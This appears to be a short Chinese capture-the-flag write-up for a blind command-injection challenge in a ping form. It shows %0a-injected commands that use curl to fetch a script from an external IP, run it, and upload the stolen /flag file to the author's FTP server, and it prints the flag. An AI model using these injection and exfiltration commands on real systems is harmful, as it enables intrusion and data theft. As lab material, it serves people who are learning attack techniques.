过滤了很多字符,并且没有回显。
可以采用%0a执行命令。ftp传入文件。nc的方式当时试了,但是失败了,转而搭建ftp,用ftp传文件。
在服务器搭建ftp。
搭建ftp过程中碰到了个坑,记得搭建好之后,设置一下ftp的目录权限,不然用正确的帐号密码却一直连不上
ftp目录下放一个sh
sh的内容:curl -T /tmp/1.txt -u root:root ftp://106.54.149.185
然后命令执行:
ping 127.0.0.1 %0a curl 106.54.149.185/1.sh > /tmp/1.sh
ping 127.0.0.1 %0a chmod 777 /tmp/1.sh //设置文件读写权限
ping 127.0.0.1 %0a cat /flag> /tmp/1.txt
ping 127.0.0.1 %0a sh /tmp/1.sh
全部“ping成功”后,在ftp文件夹看到 1.txt,拿到flag
nyctf{呐呐,你一定会拿到这个flag的吧}
为什么是 /flag
ping ip=127.0.0.1 %0a cat /flag “Ping 成功”,找到flag位置。 如果不在,会提示"Ping 失败"